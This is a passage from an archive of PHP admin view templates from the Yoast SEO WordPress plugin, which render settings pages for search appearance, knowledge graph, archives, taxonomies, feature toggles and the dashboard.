echo '<p>', esc_html__( 'This name is shown for your site in the search results.', 'wordpress-seo' ), '</p>';
$yform->textinput(
'website_name',
__( 'Website name', 'wordpress-seo' ),
[
'placeholder' => \get_bloginfo( 'name' ),
]
);
$yform->textinput(
'alternate_website_name',
__( 'Alternate website name', 'wordpress-seo' )
);
echo '<p style="margin-bottom: 2em;">', esc_html__( 'Use the alternate website name for acronyms, or a shorter version of your website\'s name.', 'wordpress-seo' ), '</p>';
echo '<h3>', esc_html__( 'Organization or Person', 'wordpress-seo' ), '</h3>';
echo '<p>', sprintf(
/* translators: %1$s opens the link to the Yoast.com article about Google's Knowledge Graph, %2$s closes the link, */
esc_html__( 'This data is shown as metadata in your site. It is intended to appear in %1$sGoogle\'s Knowledge Graph%2$s. You can be either an organization, or a person.', 'wordpress-seo' ),
'<a href="' . esc_url( WPSEO_Shortlinker::get( 'https://yoa.st/1-p' ) ) . '" target="_blank" rel="noopener noreferrer">',
'</a>'
), '</p>';
/**
* Retrieve the site logo ID from WordPress settings.
*
* @return false|int
*/
function fallback_to_site_logo() {
$logo_id = \get_option( 'site_logo' );
if ( ! $logo_id ) {
$logo_id = \get_theme_mod( 'custom_logo' );
}
return $logo_id;
}
/**
* Filter: 'wpseo_knowledge_graph_setting_msg' - Allows adding a message above these settings.
*
* @api string unsigned Message.
*/
$message = apply_filters( 'wpseo_knowledge_graph_setting_msg', '' );
if ( ! empty( $message ) ) {
echo '<p><strong>', esc_html( $message ), '</strong></p>';
}
?>
<p>
<?php esc_html_e( 'Choose whether the site represents an organization or a person.', 'wordpress-seo' ); ?>
</p>
<?php
$yoast_free_kg_select_options = [
'company' => __( 'Organization', 'wordpress-seo' ),
'person' => __( 'Person', 'wordpress-seo' ),
];
$yform->select( 'company_or_person', __( 'Organization or person', 'wordpress-seo' ), $yoast_free_kg_select_options, 'styled', false );
?>
<div id="knowledge-graph-company">
<h3><?php esc_html_e( 'Organization', 'wordpress-seo' ); ?></h3>
<?php
/*
* Render the `knowledge-graph-company-warning` div when the company name or logo are not set.
* This div is used as React render root in `js/src/search-appearance.js`.
*/
$yoast_seo_company_name = WPSEO_Options::get( 'company_name', '' );
$yoast_seo_company_logo = WPSEO_Options::get( 'company_logo', '' );
$yoast_seo_person_logo = WPSEO_Options::get( 'person_logo', '' );
$yoast_seo_site_name = ( WPSEO_Options::get( 'company_name', '' ) === '' ) ? get_bloginfo( 'name' ) : '';
$fallback_logo = fallback_to_site_logo();
if ( empty( $yoast_seo_company_logo ) && $fallback_logo ) {
$yform->hidden( 'company_logo_fallback_id', 'company_logo_fallback_id', $fallback_logo );
}
if ( empty( $yoast_seo_company_name ) || empty( $yoast_seo_company_logo ) ) :
?>
<div id="knowledge-graph-company-warning"></div>
<?php
endif;
$yform->textinput(
'company_name',
__( 'Organization name', 'wordpress-seo' ),
[
'autocomplete' => 'organization',
'placeholder' => $yoast_seo_site_name,
]
);
$yform->textinput(
'company_alternate_name',
__( 'Alternate organization name', 'wordpress-seo' )
);
echo '<p>', esc_html__( 'Use the alternate organization name for acronyms, or a shorter version of your organization\'s name.', 'wordpress-seo' ), '</p>';
$yform->hidden( 'company_logo', 'company_logo' );
$yform->hidden( 'company_logo_id', 'company_logo_id' );
?>
<div id="yoast-organization-image-select"></div>
<div id="wpseo-local-seo-upsell"></div>
</div>
<div id="knowledge-graph-person">
<h3><?php esc_html_e( 'Personal info', 'wordpress-seo' ); ?></h3>
<div id="wpseo-person-selector"></div>
<?php
if ( empty( $yoast_seo_person_logo ) ) :
?>
<div id="knowledge-graph-person-image-info"></div>
<?php
endif;
?>
<div id="yoast-person-image-select"></div>
<?php
$yform->hidden( 'person_logo', 'person_logo' );
if ( empty( $yoast_seo_person_logo ) && $fallback_logo ) {
$yform->hidden( 'person_logo_fallback_id', 'person_logo_fallback_id', $fallback_logo );
}
$yform->hidden( 'person_logo_id', 'person_logo_id' );
$yform->hidden( 'company_or_person_user_id', 'person_id' );
?>
</div>
tabs/metas/paper-content/general/force-rewrite-title.php 0000666 00000001032 15112332326 0017405 0 ustar 00 <?php
/**
* WPSEO plugin file.
*
* @package WPSEO\Admin\Views\General
*
* @uses Yoast_Form $yform Form object.
*/
$yform->light_switch( 'forcerewritetitle', __( 'Force rewrite titles', 'wordpress-seo' ) );
echo '<p class="description">';
printf(
/* translators: %1$s expands to Yoast SEO */
esc_html__( '%1$s has auto-detected whether it needs to force rewrite the titles for your pages, if you think it\'s wrong and you know what you\'re doing, you can change the setting here.', 'wordpress-seo' ),
'Yoast SEO'
);
echo '</p>';
tabs/metas/paper-content/date-archives-settings.php 0000666 00000005161 15112332326 0016460 0 ustar 00 <?php
/**
* WPSEO plugin file.
*
* @package WPSEO\Admin\Views\Archive
*
* @uses Yoast_Form $yform Form object.
*/
$yform->toggle_switch(
'disable-date',
[
'off' => __( 'On', 'wordpress-seo' ),
'on' => __( 'Off', 'wordpress-seo' ),
],
__( 'Date archives', 'wordpress-seo' )
);
?>
<div id='date-archives-titles-metas-content' class='archives-titles-metas-content'>
<div class="yoast-settings-section">
<?php
$date_archives_help = new WPSEO_Admin_Help_Panel(
'noindex-archive-wpseo',
esc_html__( 'Help on the date archives search results setting', 'wordpress-seo' ),
sprintf(
/* translators: 1: expands to <code>noindex</code>; 2: link open tag; 3: link close tag. */
esc_html__( 'Not showing the date archives in the search results technically means those will have a %1$s robots meta. %2$sMore info on the search results settings%3$s.', 'wordpress-seo' ),
'<code>noindex</code>',
'<a href="' . esc_url( WPSEO_Shortlinker::get( 'https://yoa.st/show-x' ) ) . '" target="_blank" rel="noopener noreferrer">',
'</a>'
)
);
$yform->index_switch(
'noindex-archive-wpseo',
__( 'date archives', 'wordpress-seo' ),
$date_archives_help->get_button_html() . $date_archives_help->get_panel_html()
);
echo '</div>';
echo '<div class="yoast-settings-section">';
$recommended_replace_vars = new WPSEO_Admin_Recommended_Replace_Vars();
$editor_specific_replace_vars = new WPSEO_Admin_Editor_Specific_Replace_Vars();
$editor = new WPSEO_Replacevar_Editor(
$yform,
[
'title' => 'title-archive-wpseo',
'description' => 'metadesc-archive-wpseo',
'page_type_recommended' => $recommended_replace_vars->determine_for_archive( 'date' ),
'page_type_specific' => $editor_specific_replace_vars->determine_for_archive( 'date' ),
'paper_style' => false,
]
);
$editor->render();
echo '</div>';
/**
* WARNING: This hook is intended for internal use only.
* Don't use it in your code as it will be removed shortly.
*/
// phpcs:ignore Yoast.NamingConventions.ValidHookName.MaxExceeded -- Added _internal suffix for clarity.
do_action( 'Yoast\WP\SEO\admin_date_archives_meta_internal', $yform );
/**
* Allow adding custom fields to the admin meta page - Date archives panel in the Archives tab.
*
* @deprecated 19.10 No replacement available.
*
* @param Yoast_Form $yform The Yoast_Form object.
*/
do_action_deprecated(
'Yoast\WP\SEO\admin_date_archives_meta',
[ $yform ],
'19.10',
'',
'This action is going away with no replacement. If you want to add settings that interact with Yoast SEO, please create your own settings page.'
);
?>
</div>
tabs/metas/paper-content/taxonomy-content.php 0000666 00000006301 15112332326 0015426 0 ustar 00 <?php
/**
* WPSEO plugin file.
*
* @package WPSEO\Admin\Views\Taxonomies
*
* @uses Yoast_Form $yform Form object.
* @uses WP_Taxonomy $wpseo_taxonomy
* @uses Yoast_View_Utils $view_utils
* @uses string $title
* @uses WPSEO_Admin_Recommended_Replace_Vars $recommended_replace_vars
* @uses WPSEO_Admin_Editor_Specific_Replace_Vars $editor_specific_replace_vars
*/
if ( $wpseo_taxonomy->name === 'post_format' ) {
$yform->light_switch(
'disable-post_format',
__( 'Format-based archives', 'wordpress-seo' ),
[ __( 'On', 'wordpress-seo' ), __( 'Off', 'wordpress-seo' ) ],
false
);
}
echo '<div class="yoast-settings-section">';
echo "<div id='" . esc_attr( $wpseo_taxonomy->name ) . "-titles-metas'>";
$taxonomies_help = $view_utils->search_results_setting_help( $wpseo_taxonomy );
$yform->index_switch(
'noindex-tax-' . $wpseo_taxonomy->name,
$title,
$taxonomies_help->get_button_html() . $taxonomies_help->get_panel_html()
);
if ( $wpseo_taxonomy->name !== 'post_format' ) {
$yform->show_hide_switch(
'display-metabox-tax-' . $wpseo_taxonomy->name,
/* translators: %s: Expands to an indexable object's name, like a post type or taxonomy. */
sprintf( __( 'Show SEO settings for %1$s?', 'wordpress-seo' ), $title )
);
}
echo '</div>';
echo '</div>';
echo '<div class="yoast-settings-section">';
// Determine the page type for the term, this is needed for the recommended replacement variables.
$page_type = $recommended_replace_vars->determine_for_term( $wpseo_taxonomy->name );
$editor = new WPSEO_Replacevar_Editor(
$yform,
[
'title' => 'title-tax-' . $wpseo_taxonomy->name,
'description' => 'metadesc-tax-' . $wpseo_taxonomy->name,
'page_type_recommended' => $recommended_replace_vars->determine_for_term( $wpseo_taxonomy->name ),
'page_type_specific' => $editor_specific_replace_vars->determine_for_term( $wpseo_taxonomy->name ),
'paper_style' => false,
]
);
$editor->render();
echo '</div>';
/**
* WARNING: This hook is intended for internal use only.
* Don't use it in your code as it will be removed shortly.
*/
do_action( 'Yoast\WP\SEO\admin_taxonomies_meta_internal', $yform, $wpseo_taxonomy );
/**
* Allow adding custom checkboxes to the admin meta page - Taxonomies tab.
*
* @deprecated 19.10 No replacement available.
*
* @param Yoast_Form $yform The Yoast_Form object.
* @param WP_Taxonomy $wpseo_taxonomy The taxonomy.
*/
do_action_deprecated(
'Yoast\WP\SEO\admin_taxonomies_meta',
[ $yform, $wpseo_taxonomy ],
'19.10',
'',
'This action is going away with no replacement. If you want to add settings that interact with Yoast SEO, please create your own settings page.'
);
/**
* Allow adding custom checkboxes to the admin meta page - Taxonomies tab.
*
* @deprecated 16.3 Use {@see 'Yoast\WP\SEO\admin_taxonomies_meta'} instead.
*
* @param Yoast_Form $yform The Yoast_Form object.
* @param WP_Taxonomy $wpseo_taxonomy The taxonomy.
*/
do_action_deprecated(
'wpseo_admin_page_meta_taxonomies',
[ $yform, $wpseo_taxonomy ],
'16.3',
'Yoast\WP\SEO\admin_taxonomies_meta'
);
tabs/metas/post-types.php 0000666 00000005031 15112332326 0011447 0 ustar 00 <?php
/**
* WPSEO plugin file.
*
* @package WPSEO\Admin\Views
*/
if ( ! defined( 'WPSEO_VERSION' ) ) {
header( 'Status: 403 Forbidden' );
header( 'HTTP/1.1 403 Forbidden' );
exit();
}
WPSEO_Post_Type::remove_post_types_made_public_notification();
WPSEO_Post_Type::remove_taxonomies_made_public_notification();
/*
* WPSEO_Post_Type::get_accessible_post_types() should *not* be used here.
* Otherwise setting a post-type to `noindex` will remove it from the list,
* making it very hard to restore the setting again.
*/
$wpseo_post_types = get_post_types( [ 'public' => true ], 'objects' );
// We'll show attachments on the Media tab.
$wpseo_post_types = WPSEO_Post_Type::filter_attachment_post_type( $wpseo_post_types );
echo '<p>';
esc_html_e( 'The settings on this page allow you to specify what the default search appearance should be for any type of content you have. You can choose which content types appear in search results and what their default description should be.', 'wordpress-seo' );
echo '</p>';
$view_utils = new Yoast_View_Utils();
$recommended_replace_vars = new WPSEO_Admin_Recommended_Replace_Vars();
$editor_specific_replace_vars = new WPSEO_Admin_Editor_Specific_Replace_Vars();
$opengraph_disabled_alert = $view_utils->generate_opengraph_disabled_alert();
// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Is correctly escaped in the generate_opengraph_disabled_alert() method.
echo $opengraph_disabled_alert;
if ( is_array( $wpseo_post_types ) && $wpseo_post_types !== [] ) {
foreach ( array_values( $wpseo_post_types ) as $wpseo_post_type_index => $yoast_seo_post_type ) {
$wpseo_post_type_presenter = new WPSEO_Paper_Presenter(
$yoast_seo_post_type->labels->name,
__DIR__ . '/paper-content/post-type-content.php',
[
'collapsible' => true,
'expanded' => ( $wpseo_post_type_index === 0 ),
'paper_id' => 'settings-' . $yoast_seo_post_type->name,
'view_data' => [
'wpseo_post_type' => $yoast_seo_post_type,
'view_utils' => $view_utils,
'recommended_replace_vars' => $recommended_replace_vars,
'editor_specific_replace_vars' => $editor_specific_replace_vars,
],
'title' => $yoast_seo_post_type->labels->name,
'title_after' => ' (<code>' . esc_html( $yoast_seo_post_type->name ) . '</code>)',
'class' => 'search-appearance',
]
);
// phpcs:ignore WordPress.Security.EscapeOutput -- get_output() output is properly escaped.
echo $wpseo_post_type_presenter->get_output();
}
}
tabs/metas/breadcrumbs.php 0000666 00000001106 15112332326 0011610 0 ustar 00 <?php
/**
* WPSEO plugin file.
*
* @package WPSEO\Admin
*/
if ( ! defined( 'WPSEO_VERSION' ) ) {
header( 'Status: 403 Forbidden' );
header( 'HTTP/1.1 403 Forbidden' );
exit();
}
$wpseo_breadcrumbs_presenter = new WPSEO_Paper_Presenter(
esc_html__( 'Breadcrumbs settings', 'wordpress-seo' ),
__DIR__ . '/paper-content/breadcrumbs-content.php',
[
'paper_id' => 'settings-breadcrumbs',
'class' => 'search-appearance',
]
);
// phpcs:ignore WordPress.Security.EscapeOutput -- get_output() output is properly escaped.
echo $wpseo_breadcrumbs_presenter->get_output();
tabs/metas/archives.php 0000666 00000004146 15112332326 0011132 0 ustar 00 <?php
/**
* WPSEO plugin file.
*
* @package WPSEO\Admin\Views
*/
if ( ! defined( 'WPSEO_VERSION' ) ) {
header( 'Status: 403 Forbidden' );
header( 'HTTP/1.1 403 Forbidden' );
exit();
}
// To improve readability, this tab has been divided into separate blocks, included below.
require __DIR__ . '/archives/help.php';
$wpseo_archives = [
[
'title' => esc_html__( 'Author archives', 'wordpress-seo' ),
'view_file' => 'paper-content/author-archive-settings.php',
'paper_id' => 'settings-author-archives',
],
[
'title' => esc_html__( 'Date archives', 'wordpress-seo' ),
'view_file' => 'paper-content/date-archives-settings.php',
'paper_id' => 'settings-date-archives',
],
[
'title' => esc_html__( 'Special pages', 'wordpress-seo' ),
'view_file' => 'paper-content/special-pages.php',
'paper_id' => 'settings-special-pages',
],
];
$view_utils = new Yoast_View_Utils();
$recommended_replace_vars = new WPSEO_Admin_Recommended_Replace_Vars();
$editor_specific_replace_vars = new WPSEO_Admin_Editor_Specific_Replace_Vars();
$opengraph_disabled_alert = $view_utils->generate_opengraph_disabled_alert( 'archives' );
// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Is correctly escaped in the generate_opengraph_disabled_alert() method.
echo $opengraph_disabled_alert;
foreach ( $wpseo_archives as $wpseo_archive_index => $wpseo_archive ) {
$wpseo_archive_presenter = new WPSEO_Paper_Presenter(
$wpseo_archive['title'],
__DIR__ . '/' . $wpseo_archive['view_file'],
[
'collapsible' => true,
'expanded' => ( $wpseo_archive_index === 0 ),
'paper_id' => $wpseo_archive['paper_id'],
'recommended_replace_vars' => $recommended_replace_vars,
'editor_specific_replace_vars' => $editor_specific_replace_vars,
'class' => 'search-appearance',
]
);
// phpcs:ignore WordPress.Security.EscapeOutput -- get_output() output is properly escaped.
echo $wpseo_archive_presenter->get_output();
}
unset( $wpseo_archives, $wpseo_archive_presenter, $wpseo_archive_index );
tabs/metas/media.php 0000666 00000002221 15112332326 0010375 0 ustar 00 <?php
/**
* WPSEO plugin file.
*
* @package WPSEO\Admin\Views
*/
if ( ! defined( 'WPSEO_VERSION' ) ) {
header( 'Status: 403 Forbidden' );
header( 'HTTP/1.1 403 Forbidden' );
exit();
}
$wpseo_media_presenter = new WPSEO_Paper_Presenter(
esc_html__( 'Media & attachment URLs', 'wordpress-seo' ),
__DIR__ . '/paper-content/media-content.php',
[
'help_text' => new WPSEO_Admin_Help_Panel(
'search-appearance-media',
__( 'Learn more about the Media and attachment URLs setting', 'wordpress-seo' ),
__( 'When you upload media (an image or video for example) to WordPress, it doesn\'t just save the media, it creates an attachment URL for it. These attachment pages are quite empty: they contain the media item and maybe a title if you entered one. Because of that, if you never use these attachment URLs, it\'s better to disable them, and redirect them to the media item itself.', 'wordpress-seo' ),
'has-wrapper'
),
'paper_id' => 'settings-media-attachment-url',
'class' => 'search-appearance',
]
);
// phpcs:ignore WordPress.Security.EscapeOutput -- get_output() output is properly escaped.
echo $wpseo_media_presenter->get_output();
tabs/metas/taxonomies/category-url.php 0000666 00000001464 15112332326 0014131 0 ustar 00 <?php
/**
* WPSEO plugin file.
*
* @package WPSEO\Admin\Views\Taxonomies
*
* @uses Yoast_Form $yform Form object.
*/
$remove_buttons = [ __( 'Keep', 'wordpress-seo' ), __( 'Remove', 'wordpress-seo' ) ];
$stripcategorybase_help = new WPSEO_Admin_Help_Panel(
'opengraph',
esc_html__( 'Help on the category prefix setting', 'wordpress-seo' ),
sprintf(
/* translators: %s expands to <code>/category/</code> */
esc_html__( 'Category URLs in WordPress contain a prefix, usually %s, this feature removes that prefix, for categories only.', 'wordpress-seo' ),
'<code>/category/</code>'
)
);
$yform->light_switch(
'stripcategorybase',
__( 'Remove the categories prefix?', 'wordpress-seo' ),
$remove_buttons,
false,
$stripcategorybase_help->get_button_html() . $stripcategorybase_help->get_panel_html()
);
tabs/metas/taxonomies.php 0000666 00000004122 15112332326 0011506 0 ustar 00 <?php
/**
* WPSEO plugin file.
*
* @package WPSEO\Admin\Views
*/
if ( ! defined( 'WPSEO_VERSION' ) ) {
header( 'Status: 403 Forbidden' );
header( 'HTTP/1.1 403 Forbidden' );
exit();
}
$wpseo_taxonomies = get_taxonomies( [ 'public' => true ], 'objects' );
if ( is_array( $wpseo_taxonomies ) && $wpseo_taxonomies !== [] ) {
$view_utils = new Yoast_View_Utils();
$recommended_replace_vars = new WPSEO_Admin_Recommended_Replace_Vars();
$editor_specific_replace_vars = new WPSEO_Admin_Editor_Specific_Replace_Vars();
// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Is correctly escaped in the generate_opengraph_disabled_alert() method.
echo $view_utils->generate_opengraph_disabled_alert( 'taxonomies' );
// Explicitly hide all the core taxonomies we never want to do stuff for.
$wpseo_taxonomies = array_diff_key( $wpseo_taxonomies, array_flip( [ 'link_category', 'nav_menu' ] ) );
foreach ( array_values( $wpseo_taxonomies ) as $wpseo_taxonomy_index => $wpseo_taxonomy ) {
$wpseo_taxonomy_presenter = new WPSEO_Paper_Presenter(
$wpseo_taxonomy->labels->name,
__DIR__ . '/paper-content/taxonomy-content.php',
[
'collapsible' => true,
'expanded' => ( $wpseo_taxonomy_index === 0 ),
'paper_id' => 'settings-' . $wpseo_taxonomy->name,
'view_data' => [
'wpseo_taxonomy' => $wpseo_taxonomy,
'view_utils' => $view_utils,
'recommended_replace_vars' => $recommended_replace_vars,
'editor_specific_replace_vars' => $editor_specific_replace_vars,
],
'title_after' => ' (<code>' . esc_html( $wpseo_taxonomy->name ) . '</code>)',
'class' => 'search-appearance',
]
);
// phpcs:ignore WordPress.Security.EscapeOutput -- get_output() output is properly escaped.
echo $wpseo_taxonomy_presenter->get_output();
}
unset( $wpseo_taxonomy_index, $wpseo_taxonomy_presenter, $view_utils, $recommended_replace_vars );
}
unset( $wpseo_taxonomies );
printf( '<h2>%s</h2>', esc_html__( 'Category URLs', 'wordpress-seo' ) );
require __DIR__ . '/taxonomies/category-url.php';
tabs/metas/general.php 0000666 00000005531 15112332326 0010742 0 ustar 00 <?php
/**
* WPSEO plugin file.
*
* @package WPSEO\Admin\Views
*/
if ( ! defined( 'WPSEO_VERSION' ) ) {
header( 'Status: 403 Forbidden' );
header( 'HTTP/1.1 403 Forbidden' );
exit();
}
if ( ! \current_theme_supports( 'title-tag' ) && ! ( function_exists( 'wp_is_block_theme' ) && \wp_is_block_theme() ) ) {
$wpseo_rewrite_titles_title = esc_html__( 'Rewrite titles', 'wordpress-seo' );
$wpseo_rewrite_titles_presenter = new WPSEO_Paper_Presenter(
$wpseo_rewrite_titles_title,
__DIR__ . '/paper-content/general/force-rewrite-title.php',
[
'collapsible' => true,
'expanded' => true,
'paper_id' => 'settings-general-rewrite-titles',
'title' => $wpseo_rewrite_titles_title,
'class' => 'search-appearance',
]
);
// phpcs:ignore WordPress.Security.EscapeOutput -- output contains HTML and we assume it's properly escape on object creation.
echo $wpseo_rewrite_titles_presenter->get_output();
}
$wpseo_title_separator_title = esc_html__( 'Title Separator', 'wordpress-seo' );
$wpseo_title_separator_presenter = new WPSEO_Paper_Presenter(
$wpseo_title_separator_title,
__DIR__ . '/paper-content/general/title-separator.php',
[
'collapsible' => true,
'expanded' => true,
'paper_id' => 'settings-general-title-separator',
'title' => $wpseo_title_separator_title,
'class' => 'search-appearance',
]
);
// phpcs:ignore WordPress.Security.EscapeOutput -- output contains HTML and we assume it's properly escape on object creation.
echo $wpseo_title_separator_presenter->get_output();
if ( get_option( 'show_on_front' ) === 'posts' ) {
$wpseo_homepage_title = esc_html__( 'Homepage', 'wordpress-seo' );
}
else {
$wpseo_homepage_title = esc_html__( 'Homepage & Posts page', 'wordpress-seo' );
}
$wpseo_homepage_presenter = new WPSEO_Paper_Presenter(
$wpseo_homepage_title,
__DIR__ . '/paper-content/general/homepage.php',
[
'collapsible' => true,
'expanded' => true,
'paper_id' => 'settings-general-homepage',
'title' => $wpseo_homepage_title,
'class' => 'search-appearance',
]
);
// phpcs:ignore WordPress.Security.EscapeOutput -- output contains HTML and we assume it's properly escape on object creation.
echo $wpseo_homepage_presenter->get_output();
$wpseo_knowledge_graph_title = esc_html__( 'Knowledge Graph & Schema.org', 'wordpress-seo' );
$wpseo_knowledge_graph_presenter = new WPSEO_Paper_Presenter(
$wpseo_knowledge_graph_title,
__DIR__ . '/paper-content/general/knowledge-graph.php',
[
'collapsible' => true,
'expanded' => true,
'paper_id' => 'settings-general-knowledge-graph',
'title' => $wpseo_knowledge_graph_title,
'class' => 'search-appearance',
]
);
// phpcs:ignore WordPress.Security.EscapeOutput -- output contains HTML and we assume it's properly escape on object creation.
echo $wpseo_knowledge_graph_presenter->get_output();
tabs/metas/rss.php 0000666 00000001777 15112332326 0010144 0 ustar 00 <?php
/**
* WPSEO plugin file.
*
* @package WPSEO\Admin
*/
if ( ! defined( 'WPSEO_VERSION' ) ) {
header( 'Status: 403 Forbidden' );
header( 'HTTP/1.1 403 Forbidden' );
exit();
}
$wpseo_rss_presenter = new WPSEO_Paper_Presenter(
esc_html__( 'RSS feed settings', 'wordpress-seo' ),
__DIR__ . '/paper-content/rss-content.php',
[
'help_text' => new WPSEO_Admin_Help_Panel(
'search-appearance-rss',
__( 'Learn more about the RSS feed setting', 'wordpress-seo' ),
__( 'This feature is used to automatically add content to your RSS, more specifically, it\'s meant to add links back to your blog and your blog posts, so dumb scrapers will automatically add these links too, helping search engines identify you as the original source of the content.', 'wordpress-seo' ),
'has-wrapper'
),
'paper_id' => 'settings-rss-feed',
'class' => 'search-appearance',
]
);
// phpcs:ignore WordPress.Security.EscapeOutput -- get_output() output is properly escaped.
echo $wpseo_rss_presenter->get_output();
tabs/dashboard/features.php 0000666 00000010544 15112332326 0011761 0 ustar 00 <?php
/**
* WPSEO plugin file.
*
* @package WPSEO\Admin\Views
*
* @uses Yoast_Form $yform Form object.
*/
use Yoast\WP\SEO\Presenters\Admin\Beta_Badge_Presenter;
use Yoast\WP\SEO\Presenters\Admin\Premium_Badge_Presenter;
if ( ! defined( 'WPSEO_VERSION' ) ) {
header( 'Status: 403 Forbidden' );
header( 'HTTP/1.1 403 Forbidden' );
exit();
}
$feature_toggles = Yoast_Feature_Toggles::instance()->get_all();
?>
<h2><?php esc_html_e( 'Features', 'wordpress-seo' ); ?></h2>
<div class="yoast-measure">
<?php
echo sprintf(
/* translators: %1$s expands to Yoast SEO */
esc_html__( '%1$s comes with a lot of features. You can enable / disable some of them below. Clicking the question mark gives more information about the feature.', 'wordpress-seo' ),
'Yoast SEO'
);
foreach ( $feature_toggles as $feature ) {
$is_premium = YoastSEO()->helpers->product->is_premium();
$premium_version = YoastSEO()->helpers->product->get_premium_version();
$help_text = esc_html( $feature->label );
if ( ! empty( $feature->extra ) ) {
$help_text .= ' ' . $feature->extra;
}
if ( ! empty( $feature->read_more_label ) ) {
$url = $feature->read_more_url;
if ( ! empty( $feature->premium ) && $feature->premium === true ) {
$url = $feature->premium_url;
}
$help_text .= ' ';
$help_text .= sprintf(
'<a href="%1$s" target="_blank" rel="noopener noreferrer">%2$s</a>',
esc_url( WPSEO_Shortlinker::get( $url ) ),
esc_html( $feature->read_more_label )
);
}
$feature_help = new WPSEO_Admin_Help_Panel(
$feature->setting,
/* translators: %s expands to a feature's name */
sprintf( esc_html__( 'Help on: %s', 'wordpress-seo' ), esc_html( $feature->name ) ),
$help_text
);
$name = $feature->name;
if ( ! empty( $feature->premium ) && $feature->premium === true ) {
$name .= ' ' . new Premium_Badge_Presenter( $feature->name );
}
if ( ! empty( $feature->in_beta ) && $feature->in_beta === true ) {
$name .= ' ' . new Beta_Badge_Presenter( $feature->name );
}
$disabled = false;
$show_premium_upsell = false;
$premium_upsell_url = '';
$note_when_disabled = '';
if ( $feature->premium === true && YoastSEO()->helpers->product->is_premium() === false ) {
$disabled = true;
$show_premium_upsell = true;
$premium_upsell_url = WPSEO_Shortlinker::get( $feature->premium_upsell_url );
}
$current_language = WPSEO_Language_Utils::get_language( \get_locale() );
$feature_is_not_supported_in_current_language = $feature->supported_languages && ! \in_array( $current_language, $feature->supported_languages, true );
if ( $feature_is_not_supported_in_current_language ) {
$disabled = true;
$show_premium_upsell = false;
$note_when_disabled = __( 'This feature has been disabled, since it is not supported for your language yet.', 'wordpress-seo' );
// Do not show Premium or Beta badge.
$name = $feature->name;
}
if ( $feature->premium && $feature->premium_version ) {
$not_supported_in_current_premium_version = $is_premium && \version_compare( $premium_version, $feature->premium_version, '<' );
if ( $not_supported_in_current_premium_version ) {
$disabled = true;
$note_when_disabled = __( 'Please update your Yoast SEO Premium plugin to the latest version to be able to use this feature.', 'wordpress-seo' );
}
}
$preserve_disabled_value = false;
if ( $disabled ) {
$preserve_disabled_value = true;
}
$yform->toggle_switch(
$feature->setting,
[
'on' => __( 'On', 'wordpress-seo' ),
'off' => __( 'Off', 'wordpress-seo' ),
],
$name,
$feature_help->get_button_html() . $feature_help->get_panel_html(),
[
'disabled' => $disabled,
'preserve_disabled_value' => $preserve_disabled_value,
'show_premium_upsell' => $show_premium_upsell,
'premium_upsell_url' => $premium_upsell_url,
'note_when_disabled' => $note_when_disabled,
]
);
if ( ! empty( $feature->after ) ) {
// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Escaping handled in integrations.
echo $feature->after;
}
}
?>
</div>
<?php
/*
* Required to prevent our settings framework from saving the default because the field isn't
* explicitly set when saving the Dashboard page.
*/
$yform->hidden( 'show_onboarding_notice', 'wpseo_show_onboarding_notice' );
tabs/dashboard/dashboard.php 0000666 00000002356 15112332326 0012074 0 ustar 00 <?php
/**
* WPSEO plugin file.
*
* @package WPSEO\Admin
*/
use Yoast\WP\SEO\Conditionals\Indexables_Page_Conditional;
/**
* Notifications template variables.
*
* @noinspection PhpUnusedLocalVariableInspection
*
* @var array
*/
$notifications_data = Yoast_Notifications::get_template_variables();
$wpseo_contributors_phrase = sprintf(
/* translators: %1$s expands to Yoast SEO */
__( 'See who contributed to %1$s.', 'wordpress-seo' ),
'Yoast SEO'
);
?>
<div class="tab-block">
<div class="yoast-notifications">
<div class="yoast-container yoast-container__error">
<?php require WPSEO_PATH . 'admin/views/partial-notifications-errors.php'; ?>
</div>
<div class="yoast-container yoast-container__warning">
<?php require WPSEO_PATH . 'admin/views/partial-notifications-warnings.php'; ?>
</div>
</div>
</div>
<?php
if ( YoastSEO()->classes->get( Indexables_Page_Conditional::class )->is_met() ) {
?>
<div class="tab-block">
<div id="wpseo-indexables-page"></div>
</div>
<?php
}
?>
<div class="tab-block">
<h2><?php esc_html_e( 'Credits', 'wordpress-seo' ); ?></h2>
<p>
<a href="<?php WPSEO_Shortlinker::show( 'https://yoa.st/yoast-seo-credits' ); ?>"><?php echo esc_html( $wpseo_contributors_phrase ); ?></a>
</p>
</div>
tabs/dashboard/site-analysis.php 0000666 00000001475 15112332326 0012733 0 ustar 00 <?php
/**
* WPSEO plugin file.
*
* @package WPSEO\Admin\Views
*
* @uses Yoast_Form $yform Form object.
*/
if ( ! defined( 'WPSEO_VERSION' ) ) {
header( 'Status: 403 Forbidden' );
header( 'HTTP/1.1 403 Forbidden' );
exit();
}
/**
* WARNING: This hook is intended for internal use only.
* Don't use it in your code as it will be removed shortly.
*/
do_action( 'wpseo_settings_tab_site_analysis_internal', $yform );
/**
* Fires when displaying the site wide analysis tab.
*
* @deprecated 19.10 No replacement available.
*
* @param Yoast_Form $yform The yoast form object.
*/
do_action_deprecated(
'wpseo_settings_tab_site_analysis',
[ $yform ],
'19.10',
'',
'This action is going away with no replacement. If you want to add settings that interact with Yoast SEO, please create your own settings page.'
);
tabs/dashboard/crawl-settings.php 0000666 00000003612 15112332326 0013107 0 ustar 00 <?php
/**
* WPSEO plugin file.
*
* @package WPSEO\Admin\Views
*
* @uses Yoast_Form $yform Form object.
*/
if ( ! defined( 'WPSEO_VERSION' ) ) {
header( 'Status: 403 Forbidden' );
header( 'HTTP/1.1 403 Forbidden' );
exit();
}
?>
<h2><?php esc_html_e( 'Crawl settings', 'wordpress-seo' ); ?></h2>
<div class="yoast-measure">
<?php
echo sprintf(
/* translators: %1$s expands to Yoast SEO */
esc_html__( 'To make the crawling of your site more efficient and environmental friendly, %1$s allows you to remove URLs (added by WordPress) that might not be needed for your site.', 'wordpress-seo' ),
'Yoast SEO Premium'
);
echo '<p style="margin: 0.5em 0 1em;">';
echo sprintf(
/* translators: %1$s opens the link to the Yoast.com article about Crawl settings, %2$s closes the link, */
esc_html__( '%1$sLearn more about crawl settings and how they could benefit your site.%2$s', 'wordpress-seo' ),
'<a href="' . esc_url( WPSEO_Shortlinker::get( 'https://yoa.st/crawl-settings' ) ) . '" target="_blank" rel="noopener noreferrer">',
'</a>'
);
echo '</p>';
/**
* WARNING: This hook is intended for internal use only.
